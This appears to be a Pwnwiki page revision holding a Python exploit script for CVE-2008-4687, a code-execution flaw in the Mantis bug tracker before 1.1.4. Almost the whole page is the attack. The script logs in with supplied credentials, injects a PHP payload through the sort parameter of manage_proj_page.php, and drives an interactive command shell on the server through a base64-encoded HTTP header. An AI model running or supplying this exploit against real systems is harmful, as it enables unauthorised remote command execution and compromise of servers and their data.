Pwnwiki: Created page with "==EXP==

 # Quick and dirty exploit for CVE-2008-4687. # Description by NIST: # manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to # execute..."

2021-04-02T03:15:11Z

Created page with "==EXP== <pre> # Quick and dirty exploit for CVE-2008-4687. # Description by NIST: # manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to # execute..."

New page

==EXP==
<pre>
# Quick and dirty exploit for CVE-2008-4687.
# Description by NIST:
# manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to
# execute arbitrary code via a sort parameter containing PHP sequences, which are p
# rocessed by create_function within the multi_sort function in core/utility_api.php.
# Author: Nelson Murilo
# Date: 2020/02/15

import requests
import hashlib
import base64
import sys

if len(sys.argv) != 5:
print ("Usage: pymantis host path user pass")
exit(-1)

host = sys.argv[1]
path = sys.argv[2]
user = sys.argv[3]
pwd = sys.argv[4]

urlbase = "http://" + host
# just a little joke
ua = 'Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US'
p='PHPSESSID='+str(hashlib.md5('xploit'.encode()).hexdigest())

d = { 'username':user , 'password': pwd }
r = requests.Session()
ret = r.get(urlbase + path + 'login_page.php')

h = {
'Host': host,
'User-Agent': ua,
'Cookie': p,
'Connection': 'close'
}
ret = r.post(urlbase + path + 'login.php', data=d, headers=h)
try:
cookies = p + "; ISSUES_STRING_COOKIE=" + r.cookies['ISSUES_STRING_COOKIE']
print("** Exploit works like a charm!")
except:
print("Ops! Exploit fail - Bye")
quit()
#
# Poor man reverse shell
#

r.headers
{
'Host': host,
'Cookie': cookies,
'Content-type': 'application/json; charset=utf-8',
'Connection': 'close'
}
pow = "\']);}error_reporting(0);print(_code_);passthru(base64_decode($_SERVER[HTTP_CMD]));die;%23"
url = urlbase + path + 'manage_proj_page.php?sort=' + pow

cmd = ""
while True:
cmd = input("www-data# ")
if not cmd:
continue
if cmd.lower() in {'exit'}:
break
h = {
'Host': host,
'User-Agent': ua,
'Cookie': cookies,
'Cmd': base64.b64encode(cmd.encode('utf-8')).decode('utf-8'),
'Connection': 'close'
}
ret = requests.get(url, headers=h)
response = str(ret.content)
for line in response.partition('_code_')[2].split("\\n"):
print(line.strip("\'"))
print("Bye")

</pre>

CVE-2008-4687 Mantis任意代碼執行漏洞 - Revision history

Pwnwiki: Created page with "==EXP==
# Quick and dirty exploit for CVE-2008-4687. # Description by NIST: # manage_proj_page.php in Mantis before 1.1.4 allows remote authenticated users to # execute..."